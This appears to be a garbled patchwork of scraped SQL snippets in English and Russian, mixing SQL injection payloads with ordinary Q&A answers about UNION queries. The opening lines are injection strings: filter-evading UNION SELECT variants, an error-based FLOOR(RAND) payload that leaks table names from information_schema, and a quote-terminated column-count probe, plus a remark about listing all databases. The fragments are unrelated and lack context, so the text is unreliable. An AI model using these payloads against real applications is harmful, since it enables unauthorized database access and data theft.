union+sel%0bect null,null,null,null. +#1q%0Aunion all#qa%0A#%0Aselect null,null,null,null.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
1' UNION SELECT null,null,null-- - Worked. You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.
SELECT * FROM ( SELECT aaa AS Col, 1 AS Official FROM table1 UNION ALL SELECT bbb AS Col, 0 AS Official FROM table2 ) AS tbl ORDER BY Official, Col. You are right, the accepted answer is also the correct one. This just happened to work well when I tested it.
Will give us names of all the Databases available. But as we found earlier that sometimes programmer may not be printing all the rows. He may be printing the first row from output.
Что ж, вы могли бы сделать это с помощью UNION ... WHERE coln IS NOT NULL но при этом таблица будет сканироваться один раз для каждого столбца. В MySQL нет оператора UNPIVOT который бы здесь помог.
Let's say you are always generating VALUES that match all columns of a given table (see the second note below for other cases). From your example, a small trick could possibly help: SELECT (x).* FROM (VALUES ((TRUE, NULL, 1234)::fields)) t(x)
Для начала сделаем несколько предварительных действий. Для тестов создадим таблицу T с одним числовым столбцом A и четырьмя строками: 1, 2, 3 и NULL. create table t as select column_value a from table(sys.odcinumberlist(1,2,3,null))
I need to make a UNION query where 1 table has more columns that the other.